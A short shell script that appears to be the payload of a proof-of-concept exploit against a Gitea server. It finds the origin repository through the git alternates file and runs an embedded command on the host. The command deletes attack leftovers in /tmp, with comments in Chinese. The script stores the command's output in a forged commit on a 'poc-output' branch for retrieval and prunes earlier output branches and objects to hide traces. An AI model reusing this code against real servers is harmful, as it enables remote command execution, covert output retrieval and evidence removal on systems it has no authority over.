17 lines
1.7 KiB
Plaintext
17 lines
1.7 KiB
Plaintext
|
|
#!/bin/sh
|
|||
|
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|||
|
|
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
|||
|
|
case "$origin_objects" in
|
|||
|
|
/*) ;;
|
|||
|
|
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
|||
|
|
esac
|
|||
|
|
origin_git=${origin_objects%/objects}
|
|||
|
|
[ "$origin_git" != "$origin_objects" ] || exit 3
|
|||
|
|
git --git-dir="$origin_git" for-each-ref --format="%(refname)" "refs/heads/poc-output-*" 2>/dev/null | while read -r r; do git --git-dir="$origin_git" update-ref -d "$r" 2>/dev/null; done
|
|||
|
|
git --git-dir="$origin_git" gc --prune=now --quiet 2>/dev/null; git --git-dir="$origin_git" prune 2>/dev/null
|
|||
|
|
output_blob=$({ /bin/sh -c 'echo '"'"'=== 清理前 /tmp 文件 ==='"'"'; ls /tmp/*.bundle /tmp/td_* /tmp/crw_* /tmp/tr1_* /tmp/tr2_* /tmp/b64_* 2>/dev/null; rm -f /tmp/*.bundle /tmp/td_* /tmp/crw_* /tmp/tr1_* /tmp/tr2_* /tmp/b64_* /tmp/testbundle.bin /tmp/upload.gitXXX 2>/dev/null; echo '"'"'=== 清理后 ==='"'"'; ls /tmp/*.bundle /tmp/td_* /tmp/crw_* /tmp/tr1_* /tmp/tr2_* 2>/dev/null || echo '"'"'临时文件已清理'"'"'; echo; echo '"'"'=== markup-probe objects 大小(应 28K) ==='"'"'; du -sh /var/lib/gitea/data/gitea-repositories/audit_lfmbjalf/markup-probe.git/objects'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
|||
|
|
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
|||
|
|
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@local GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@local git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
|||
|
|
git --git-dir="$origin_git" update-ref refs/heads/poc-output-6ab8c5 "$commit" || exit 7
|
|||
|
|
exit 0
|